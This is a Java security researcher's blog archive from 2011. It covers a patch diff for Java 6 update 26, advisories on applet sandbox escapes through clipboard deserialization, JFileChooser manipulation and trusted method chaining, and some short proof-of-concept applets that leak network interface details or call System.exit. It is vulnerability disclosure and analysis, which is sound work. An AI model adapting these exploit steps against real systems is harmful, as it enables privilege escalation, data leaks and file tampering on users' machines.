Tuesday, June 07, 2011

Java 6 update 26 is out

Blog Update: I mapped some of the CVEs to these results.

Oracle has released a security update for Java. If you have Java installed and haven't updated your Java yet, do it now. I'll wait.

No, really. I'm not going on until you do.


OK, great. Now, I'm going to try something new and analyze the differences between Java 6 update 25 and Java 6 update 26. And we'll try to figure out what the underlying vulnerability might have been.

For the comparison, I'll be using my rather stale open source project reJ/rejava. You feed it two .jars and it does a binary comparison of each of the files in the .jar, and indicates which files are new, removed, or changed. It then allows you to open these changed files and it does another diff on method level, and yet another on the bytecode level of each changed method. It works OK, sometimes the algorithm consumes all the memory available, though.

Let's get started:

File: rt.jar (the runtime - heart and soul of Java):

Package: sun.util.resources

These are not security related, just updating the time zone data. OK, I got curious. rej chokes on these files, because they're big. It seems the change is more or less the same as this:


Namely the addition of America/Metlakatla and America/Sitka

Package: sun.misc

Also not security related. Updated the version strings to update 26.

Package: sun.java2d.pipe

Not security related. The line numbers have changed, maybe a comment added to the code. I'm compaing the rt.jar from the JDK which has debugging information (like source-code line number information) included.

Package: javax.swing

This is security related. But from a quick look, I can't figure out what the vulnerability is. The source for this class is available in the src.zip of the JDK for both versions. The ImageIcon has a static protected component field whose appContext field is set to null in a privileged block. In the new version this component is instantiated in another doPrivileged block which removes all it's permissions.

It was found that the MediaTracker implementation created Component instances with unnecessary access privileges. A remote attacker could use this flaw to elevate their privileges by utilizing an untrusted applet or application that uses Swing. (CVE-2011-0871)

Package: java.security

This looks security related as well. Also available in the src.zip. SignedObject's readObject method has been updated. The update 25 version looked like this:
content = (byte[])content.clone();
signature = (byte[])signature.clone();

and the update 26 looks like this:

java.io.ObjectInputStream.GetField fields = s.readFields();
content = ((byte[])fields.get("content", null)).clone();
signature = ((byte[])fields.get("signature", null)).clone();
thealgorithm = (String)fields.get("thealgorithm", null);

This might be related to the problems of serialization I wrote about. In the old version you could deserialize a SignedObject and get a reference to it, and the internal byte arrays for content and signature and pause the deserialization process before the two fields were replaced by clone().

A flaw was found in the way signed objects were deserialized. If trusted and untrusted code were running in the same Java Virtual Machine (JVM), and both were deserializing the same signed object, the untrusted code could modify said object by using this flaw to bypass the validation checks on signed objects. (CVE-2011-0865)

Package: java.net

This a fix to the NetworkInterface.toString() method spilling out IP addresses, etc that I presented as an example of Trusted Method Chaining at the t2 infosec conference in 2010 and blogged about earlier this year. Kudos to Oracle for reading my blog. Now the toString() method doesn't return IP addresses anymore.

An information leak flaw was found in the NetworkInterface class. An untrusted applet or application could use this flaw to access information about available network interfaces that should only be available to privileged code. (CVE-2011-0867)

Package: com.sun.xml.internal.messaging.saaj.client.p2p

This is a fix to another slight issue I talked about at the t2 infosec conference, the HttpSOAPConnection class used to do HTTP requests that violated the same origin policy. That has been fixed. And as a bonus, this class used to set system proxy settings, which I hadn't mentioned anywhere, but which was on my TODO list. I guess I can remove it now. I didn't blog about that, so I guess that means Oracle also looked at my presentation slides. Nice.

It was found that untrusted applets and applications could misuse a SOAP connection to incorrectly set global HTTP proxy settings instead of setting them in a local scope. This flaw could be used to intercept HTTP requests. (CVE-2011-0869)

Package: com.sun.org.apache.bcel.internal.classfile

OK, you guessed right. This fixes yet another issue I talked about at the t2 infosec conference, and blogged about here. That is, this class which seems to originate from the BCEL project, had some funky logic which lead to a System.exit(), if instrumented in the right way. The System.exit() has been removed.

File: plugin.jar (as the name suggests, this has Java plugin specific stuff)

No changes.

File: resources.jar

No changes.

File: jsse.jar (Java Secure Socket Extension)

No changes.

File: jce.jar (Java Cryptography extension)

No changes.

File: javaws.jar (Java Web Start)

No changes.

File: deploy.jar

Package: com.sun.deploy.config

There's a binary difference, but reJ doesn't detect any bytecode differences. I'm guessing this is another linenumber difference.

Package: com.sun.deploy.util

SecurityBaseline has version information which has been updated.

JVMParameters has a change that has something to do with verifying if a Parameter is secure, but I can't figure out what's the net effect here. This seems to be clearly security related, but I can't figure out how severe. Update: I'm guessing this might be related to: ZDI-11-192 by Chris Ries.

URLUtil has a change in the checkTargetURL method which that deals with jar and file URLs. This also seems to be clearly security related, but I can't figure out how severe.

Update: As pointed out in the comments, this seems to be the fix for non-security bug, Bug ID 7020709. Thanks @mihi42!

File: charsets.jar

No changes.

File: sunpkcs11.jar

Package: sun.security.pkcs11

Config and Secmod seem to have real changes, but I'm not familiar enough with the pkcs packages to quickly assess what's going on.

By my counts that means that the majority of the fixed issues are in the native side, which I won't be dealing with here.

Wednesday, June 01, 2011

Inflated Java Malware Infection Rates

In the past year or so, I've read many articles on Java malware (most recently Gregg Keizer's article at Computer World and Dustin's blogpost at "Inspired by Actual Events" ). The fact that many of the top offenders are based on vulnerabilities I've found (CVE-2008-5353, CVE-2010-0840, CVE-2010-0094) makes me wince every time I read one of these (I don't consider myself to be one of the bad guys just because I like to break things).

None of the articles pointed out one important thing that might very well be distorting Java malware infection rates, and it's this: The fact that Microsoft Security Essentials, or any other Anti-virus correctly identified the presence of a malicious piece of Java code on a user's machine does not mean that user was infected. Infection might not even be likely.

The way Java works with Applets is that when there's an applet tag on a page, Java downloads the relevant code and saves it in the Java cache (...\username\Application Data\Sun\Java\Deployment\cache). The code is then executed from disk. If your Java is up-to-date, CVE-2008-5353, CVE-2010-0840, CVE-2010-0094 all fail to execute, resulting in a SecurityException. But the offending code will remain in the cache and Security Essentials will find it and report it. It will inflate the statistics.

I verified this on a Windows XP with the latest Java (Java 6 update 25), executing the CVE-2008-5353 Applet from Metasploit, which is detected by Security Essentials. As the Java is up-to-date, the exploit never executed. Nevertheless Security Essentials correctly identified CVE-2008-5353.

In conclusion, I do recognize that Java is notoriously badly updated by a big part of the user base and we wouldn't see tons of Java malware if some of it wasn't successful, but I think the Java malware infection rates are inflated by cases where users have malware in their cache that was never able to escape the sandbox of an updated Java.

Thursday, March 10, 2011

Oracle Java Applet Clipboard Injection Remote Code Execution Vulnerability

Multiple Java Clipboard Vulnerabilities for Applets

ZDI Identifier: ZDI-11-083
CVE Identifier: CVE-2010-4465
Vulnerable Java versions: Java 6u23 and older.


Java has a basic mechanism protecting the system clipboard from being programmatically accessed by sandboxed code. Such operations will instead automatically act on an application-scope, local clipboard. However, this mechanism can be trivially bypassed.

Additionally, with the TransferableProxy class, the clipboard can be used for privileged deserialization.

Vulnerability 1 - Hijacking system clipboard upon user action

Should the user press CTRL+C or CTRL+X with the focus in a custom component, a reference to the system clipboard can be obtained and held onto for the rest of the lifetime of the applet. This would enable an applet to eavesdrop passwords or other sensitive information that might already exist or come to exist on the clipboard. Also, the applet might alter the data on the clipboard.

This is achieved by adding a custom (javax.swing.)TransferHandler to any focusable GUI component. Upon a copy/cut operation initiated by a user, the windowing framework calls the exportToClipboard method of the TransferHandler passing a reference to the System clipboard (in Windows environment, an instance of the class sun.awt.windows.WClipboard).

Vulnerability 2 - Automated hijacking of system clipboard

Same as the first vulnerability, but automating the system clipboard hijack by triggering the copy operation automatically and thus gaining access to the system clipboard without requiring any user action. This is done by creating a new AWT EventQueue and putting a KeyEvent for a copy operation on the queue.

Vulnerability 3 - Privilege escalation via privileged deserialization

A TransferableProxy object can be put on the clipboard. Any object contained within the TransferableProxy will be serialized upon a copy action and deserialized upon a paste action. The paste action can be invoked in such a manner that no untrusted code will be on stack (using javax.swing.Timer), effectively doing an implicitly privileged deserialization. The problems of privileged deserialization have been well established. The easiest way to exploit it is to create a Serializable subclass of ClassLoader which can then be used to define classes with full privileges. An unsigned applet will thus gain the full privileges of the user running the browser.

More specifically this attack is carried on by executing the following steps:

  • Set up a JTextField component on the screen
  • Define a custom TransferHandler to handle the copy/paste operations of the text field
  • Obtain a TransferAction instance by asking the JTextField to give the action corresponding to the CTRL+C keystroke
  • Use javax.swing.Timer to execute said copy action
  • This causes the Java event framework to call exportToClipboard on our custom TransferHandler
  • Create a TransferableProxy containing a custom Transferable object

TransferableProxy is in the sun.awt.datatransfer package and can't be instantiated with the "new" keyword, as the SecurityManager won't allow direct access to sun.* packages.

Instead, the method createTransferableProxy() of class java.awt.dnd.DropTargetContext is used. It's a trusted class and the method wraps a given Transferable object into a TransferableProxy object and returns it.

However, the createTransferableProxy() method is an instance method (non-static) and has the access modifier "protected" so we need to subclass DropTargetContext and create a public method we can call which then calls the protected method.

We call the public method wrapTransferable(). It takes a Transferable object as a parameter and returns a TransferableProxy which contains the given Transferable object.

DropTargetContext constructor has the access modifier "default" so not even our subclass can access it. But DropTargetContext is a Serializable class, so we can create our subclass which the compiler says is wrong because the superclass constructor isn't visible, but the JVM doesn't enforce this as long as we instantiate our object by deserialization. Sounds familiar?

So we forge serial data which contains an instance of our subclass and use it to deserialize a DropTargetContext2 (our subclass) instance. The subclass has the public wrapTransferable() method, which we call, passing a custom Transferable (EvilTransferable) object to be wrapped.
  • Put the resulting TransferableProxy on the clipboard
  • Obtain a TransferAction instance by asking the JTextField to give the action corresponding to the CTRL+V keystroke
  • Use javax.swing.Timer to execute said paste action
  • This will cause the TransferableProxy.getTransferData() method to be called in a privileged context
In order to get here, the DataFlavor of our custom Transferable (EvilTransferable) does a trick where it checks the caller of the getSubType() by creating a String of the current stacktrace and returns "x-java-jvm-local-objectref" as the subType if the caller is TransferHandler.getPropertyDataFlavor, but returns "application/x-java-serialized-object" for all the other callers. This is a dirty hack to satisfy a condition in the getTransferData() method and to force a desired execution flow.
  • Said method calls getTransferData() on the contained custom Transferable (EvilTransferable) object
  • EvilTransferable obtains a case3.CL object loaded by the second applet tag on the page
The class of this object has the same name and same serialization signature as our classloader subclass, but it's a different class, one that doesn't extend ClassLoader and that can be instantiated easily. Because it was defined by another classloader (because of the 2nd applet tag where it was defined), it can have the same full name.

EvilTransferable puts this object into the first index of an Object array, and in the second index it puts an instance of the Class object of the local case3.CL. The serialization/deserialization of TransferableProxy stores the ClassLoader of each object in a map where the key is the classname. The class object in the array confuses this map, and the local classloader is used for deserializing the case3.CL object, and not the other applet classloader.
  • EvilTransferable returns an array containing a case3.CL object and a case3.CL class object
  • TransferableProxy.getTransferData() serializes the CL object into a byte array
  • TransferableProxy.getTransferData() deserializes the byte array data
  • The deserialized CL object is initialized because the deserialization happens in (an implicitly) privileged context (no untrusted code on stack at this point)
  • The CL object, upon deserilization (in the readObject() method), defines a malicious class with full privileges and executes it

The Outcome

Potentially harmful Java code from an untrusted source gains read/write access to system clipboard (vulnerabilities 1&2), and full privilege escalation to do anything with the privileges of the user running the browser (vulnerability 3).

Exploitation vectors

User, using any browser with applets enabled, accesses a malicious page with an applet tag, or a page with an injected malicious applet tag.

The Fix

In Java 6 update 24 Oracle fixed this issue, along with the JFileChooser issue I had blogged about earlier.

A quick analysis suggests it's a pretty good fix. Starting with the obvious, Timer now captures the access control context when initialized and uses that context for execution. No more javax.swing.Timer freebies.

But Oracle went further than that and now Components and AWTEvents also capture the AccessControlContext when they are initialized. And when the event thread is processing events it does an intersection of current permissions, the permissions of the event and the permissions of the source component of that event.

Sunday, February 06, 2011

Java JFileChooser Programmatic Manipulation Vulnerability

Java GUI Manipulation Vulnerability

This bug reaches the severity threshold where ideally I wouldn't talk about it until a fix has been issued, but as the Facebook relationship status would put it: It's complicated. It doesn't qualify for ZDI because I already notified Sun by myself in 2008 about various vulnerabilities, first via their bug tracking (I didn't know any better) system and later on via e-mail to their security address, which resulted in the famous Calendar Serialization issue getting fixed. This JFileChooser issue just never got fixed. To be clear: after 2008, they never got back to me and I didn't harass them to fix it.

JFileChooser and FormView allow unsigned applets to read file-system structure (file/folder names), renaming files and moving files

Affected Operating Systems (at least): Windows XP, Windows 7
Affected Java Versions (at least): Java 6 update 23


javax.swing.JFileChooser is a Java Swing component that allows the user to choose a file on the local filesystem. It cannot normally be used on an applet, because the initialization tries to read the user.home system property which is not permitted. So, if you try to do a "new JFileChooser()" you get a SecurityException and you won't get a handle to any object. And if you use the finalizer attack, you get an instance that isn't really functional.

This is where javax.swing.text.html.FormView comes in. It has a createComponent() method, which - with the right setup - creates a bunch of objects, one of them being a button, whose ActionListener creates a JFileChooser. That ActionListener can be extracted and then javax.swing.Timer can be used to execute the ActionListener.

Timer is used for executing ActionListeners in a timed fashion, and due to that nature, it executes them on a separate Thread which has no user code on the stack. In other words, it executes ActionListeners in a privileged context. Thus, the JFileChooser constructor runs fine.

So, a JFileChooser is created and displayed on the screen and the user can interact with it, but that doesn't do us much good, since we don't even have a reference to the JFileChooser. That's where Window.getWindows() comes in. It returns an array of all Windows accessible to the Applet, the JFileChooser being one of them. This way we get a reference to our JFileChooser instance.

What can we do with a JFileChooser? It only has methods for getting the selected file(s), once the user has made his selection and that's no good.

We can, however, define a FileFilter for the JFileChooser and that's interesting, because it'll receive File objects for each file in the current directory (so it can tell JFileChooser whether or not to display the file in question). This happens for the initial folder and also for any other folders, should the user navigate elsewhere with the JFileChooser. But since the user is not expecting to see a file chooser dialog, not a lot of navigation is to be expected.

There's an even better method to interact with the JFileChooser. Java AWT/Swing superclass java.awt.Component provides the method getComponents() which returns an array of child components. This way if you start at the top, in this case the JFileChooser, you can navigate to all the child components of the GUI, the buttons, the comboboxes, everything. Combine that with the fact that javax.swing.Timer can be used to execute the ActionListeners of any of these GUI components and you can pretty much simulate any user action on the JFileChooser.

So, we can view the file system structure of the machine running the applet. The JFileChooser has two additional interesting functionalities, which are the following: It can create empty folders and it can rename files and folders. Also, renaming files to "../newname" moves them toward the root in the filesystem and renaming files to "folder/newname" moves them into the folder. This means we can also move the files and folders.

Depending on other configuration like operating system, etc, this might be used for delayed Remote Code Execution. For example, a .jar might be moved from the Java Cache into the Java extension folder which has higher permissions. Or imagine an executable posing as an image, which gets renamed, then moved to a system folder.

Original bug report (2008)

Bug ID: 6764977
Review ID: 1379484

Date Created: Sun Oct 26 19:59:11 MST 2008
Type: bug
Customer Name: Sami Koivu
Customer Email: sami.koivu@gmail.com
SDN ID: sami.koivu@gmail.com
status: Waiting
Category: java
Subcategory: classes_swing
Company: IT7 Solution Technology
release: 6u10
hardware: x86
OSversion: win_xp
priority: 4
Synopsis: FormView allows untrusted applet read access to the filesystem structure
java version "1.6.0_10"
Java(TM) SE Runtime Environment (build 1.6.0_10-b33)
Java HotSpot(TM) Client VM (build 11.0-b15, mixed mode, sharing)

Microsoft Windows XP [version 5.1.2600]

javax.swing.text.html.FormView allows an untrusted applet to instantiate a JFileChooser in the event thread without untrusted applet code on the stack thus escaping intervention of a SecurityManager.

FormView can be subclassed and instantiated in such a way that the createComponent method returns a Component which contains a button whose ActionListener is the inner class BrowseFileAction.

This BrowseFileAction can then be extracted and executed via javax.swing.Timer on the event thread. The important thing to notice is that there will be no applet code on the stack and thus the applet security manager will allow the operation.

A JFileChooser dialog is opened. A reference to this dialog can be obtained via Window.getWindows(). Through this reference, using the AWt/Swing component structure (basically calling getComponent() to access the children of each GUI component) the filenames in the current (default) directory can be obtained. The dialog can also be manipulated in order to change the current browsing directory in the same fashion. Thus the whole directory structure on the system of the user running the applet could be obtained.

Unconfirmed, but it seems probable it would be possible to stimulate the file rename functionality as well, allowing an untrusted applet to rename any file on the system of the user running the applet.

It should also be noted that the dialog can be made invisible as soon as a reference to it is obtained (causing the dialog to only briefly appear on the screen).

I have a raw example of this available if absolutely necessary, but it is rather verbose and not very readable.

Stimulate FormView.BrowseFileAction to show a JFileChooser dialog.

Either the action object is somehow made inaccessible or security manager will perceive somehow that there is applet code behind this operation disallowing the operation.
A JFileChooser object is instantiated and displayed on the screen and can be manipulated in a manner that will at the very least invade the privacy of the web surfer.

This bug can be reproduced always.

Evaluation from Sun Microsystems (2008)
It's perfectly correct to create JFileChooser under SecurityManager,
and in this case user will be able to browse the file structure,
it is *the code* who will not be able to do anything with those files

The bug's description doesn't show any way how an untrusted applet can read
the filesystem structure, we need more information
Posted Date : 2008-11-10 15:06:03.0

My response to evaluation (2008)
Ok, maybe the initial bug description was too superficial.

Here's a more detailed one. I'll do a bullet list and if necessary I can later be more specific on any single item.

* An instance of FormView's private inner class BrowseFileAction can be extracted.

* Said instance can be executed with javax.swing.Timer. The Timer class is used to executed ActionListeners in a timed fashion. When the Timer class is used to execute core ActionListeners only trusted code will be on stack and the security manager allows everything. BrowseFileAction is not the only problem. (BasicFileChooserUI.NewFolderAction can be used to create folders and there must be other vulnerable ActionListeners in the rt.jar, as well).

* When executed, BrowseFileAction opens a JFileChooser dialog. This alone might be acceptable or not. Keep reading.

* The java.awt.Window class has a method called getWindows() which according to the javadoc: "Returns an array of all {@code Window}s, both owned and ownerless, created by this application."

* Said method can be used to obtain a reference to the window which contains the JFileChooser instance. This goes something like:
JDialog dlg = (JDialog) Window.getWindows( ... );
JRootPane root = dlg.getRootPane();
JLayeredPane layered = (JLayeredPane) root.getComponent(1);
JPanel panel = (JPanel) layered.getComponent(0);
JFileChooser fc = (JFileChooser) panel.getComponent(0);

* (if you set your custom FileFilter on this instance, it will call your FileFilter's accept method once which each file of the current directory *the code* will be receiving this information)

* You can use the Container.getComponent(int) method on the JFileChooser to obtain all the direct and subcomponents of the JFileChooser. That is, the JComboBox subclass which controls the current directory and the sun.swing.FilePane object which contains a JList which contains the files in the current directory. You would go about it like this (YMMV):

JPanel panel = (JPanel) fc.getComponent(0);
JComboBox combo = (JComboBox) panel.getComponent(2);

* You can manipulate the JComboBox to change the current directory. You might, for instance, obtain the actionlisteners of the combobox, remove them from the combobox, set the seleted index of the combobox to a different value and then user javax.swing.Timer to execute the actionlisteners to update the JFileChooser.

* You can get the action for editing a filename from the FilePane in the same way described above. You can then execute the EditActionListener using javax.swing.Timer. This will cause the JFileChooser to display a JTextField for editing the filename. A reference to this JTextField can be obtained as described above (Container.getComponent(int)). The value of the text can be change by *the code* (setText(String) and another action can be invoked via javax.swing.Timer to tell JFileChooser that editing has terminated which will cause it to rename the file. Or move the file, if the file is renamed to "../filename" or "folder/filename".

Example - Caution, running this will rename and move a file on your system

(This works on Windows XP/Windows 7, file renaming doesn't work on Linux though it might be possible with extra effort)

It pops up a JFileChooser, goes to the first folder in the Location combobox, selects the 6th file and prefixes the name with "new" and moves it to the parent directory.

EDITED: This link is just the source code of the example. Safe to click. In order to run it you would need to compile it and create a page with an applet definition.


Tuesday, February 01, 2011

Trusted Method Chaining for Network Interface details

Here's yet another Trusted Method Chaining instance. This one can be used for listing network interface details. No need for anything tricky (such as classes created with a custom compiler) this time. However, since this is an information leak, it's not simply enough to call the method - we need to get our hands on the return value, as well. I'm not sure if it could be scraped off of the screen, but it's really simple to define our own renderer to which the GUI passes the information quite handily.

By the way, this instance and the previous one along with some others were uncovered by a prototype of an automated tool that searches a set of classes for interesting chaining instances.

This one's simple:
  • java.net.NetworkInterface.getNetworkInterfaces() returns an Enumeration of network interfaces, in the form of NetworkInterface objects.
  • NetworkInterface.toString() calls getInetAddresses()
  • NetworkInterface.getInetAddresses() has a security check, so it can't be called directly

To create the chain:
  • Put all NetworkInterface objects in a JList
  • Make JList visible

To get the programmatic access to the values, we can set a DefaultListCellRenderer subclass as the renderer for the JList. The setText() method of our renderer receives all displayed values.

Here's an example that gets all the interface information and dumps it to the Java console. It probably gets repeated a few times because of how the Java GUI works:

001 package ex6.chaining.networkinterfaces;
003 import java.applet.Applet;
004 import java.net.NetworkInterface;
005 import java.util.Enumeration;
006 import java.util.Vector;
008 import javax.swing.DefaultListCellRenderer;
009 import javax.swing.JList;
011 public class Example extends Applet {
012     public void start() {
013         Vector interfaceList = new Vector();
014         try {
015             Enumeration en = NetworkInterface.getNetworkInterfaces();
016             while (en.hasMoreElements()) {
017                 interfaceList.add(en.nextElement());
018             }
019         } catch (Exception e ) {
020             e.printStackTrace();
021         }
022         JList jlist = new JList(interfaceList);
023         jlist.setCellRenderer(new DefaultListCellRenderer() {
025             public void setText(String text) {
026                 System.out.println("::" + text);
027                 super.setText(text);
028             }
029         });
030         this.add(jlist);
031     }
032 }

It should vomit something like this on the Java console (System.out)


::name:eth1 (eth1) index: 3 addresses:

::name:lo (lo) index: 1 addresses:



::name:lo (MS TCP Loopback interface) index: 1 addresses:

::name:eth0 (AMD PCNET Family PCI Ethernet Adapter - Miniporta do agendador de pacotes) index: 65539 addresses:


Sunday, January 30, 2011

Trusted Method Chaining to a System.exit

More details on the chaining instance I mentioned in my talk. This one is not a remote code execution vulnerability, it simply about calling System.exit from an applet (which shouldn't be allowed, but doesn't really do anything interesting). It might be remotely possible that this could be used for a DoS in some marginal SecurityManager scenario.

The idea is to create a chain from an object's toString() method to com.sun.org.apache.bcel.internal.classfile.Utility.codeToString(), which has this confusing switch statement:

That logic relies on a bunch of final arrays from a class named Constant. In Java Security 101 we learn that the data in final arrays isn't final at all, and so in this case the data can be modified in such a way that the execution reaches the impossible-to-reach block which calls System.exit. Now all that remains is getting trusted code to call the above piece of code. The chain to do that is as follows:

-Have the GUI draw an instance of com.sun.org.apache.bcel.internal.classfile.Code, calling the toString() method of the object

-The toString() method calls Utility.codeToString()

-Utility.codeToString() has the above piece of code

The code to do that:

001 package ex6.chaining.systemexit;
003 import java.applet.Applet;
005 import javax.swing.JList;
007 import com.sun.org.apache.bcel.internal.Constants;
008 import com.sun.org.apache.bcel.internal.classfile.Attribute;
009 import com.sun.org.apache.bcel.internal.classfile.Code;
010 import com.sun.org.apache.bcel.internal.classfile.CodeException;
011 import com.sun.org.apache.bcel.internal.classfile.Constant;
012 import com.sun.org.apache.bcel.internal.classfile.ConstantPool;
014 public class Example extends Applet {
015     public void start() {
016         // modify the final array elements
017         Constants.NO_OF_OPERANDS[0] = 1;
018         Constants.TYPE_OF_OPERANDS[0] = new short[1];
019         byte[] codebytes = new byte[] {0, 0, 0};
020         Code code = new Code(1, 1, 0, 0, codebytes, new CodeException[0], new Attribute[0], new ConstantPool(new Constant[0]));
021         JList list = new JList(new Object[] {code});
022         this.add(list);
023     }
024 }

Wednesday, January 19, 2011

Hazards of Duke

I did a talk on Java Sandbox (in)security at the end of October last year, at the t2 security conference.

Here are the slides for that talk: Hazards of Duke / Java Sandbox (in)security

For the readers of this blog, there shouldn't be too many new things. There are, however some new (in the sense that they haven't been fixed and I haven't discussed them on the blog) vulnerabilities discussed:

  • A chaining instance that calls System.exit() and kills the virtual machine.
  • A chaining instance that lists all network interfaces (IP addresses, etc).
  • A programmatic GUI manipulation attack that allows renaming and moving files using the JFileChooser class. This one would be severe enough for me to pass on to ZDI, but it's ineligible, because I already informed Sun Microsystems about it in 2008. There are some clues in the slides, but I demoed the issue at my talk and I can give a practical example here, too.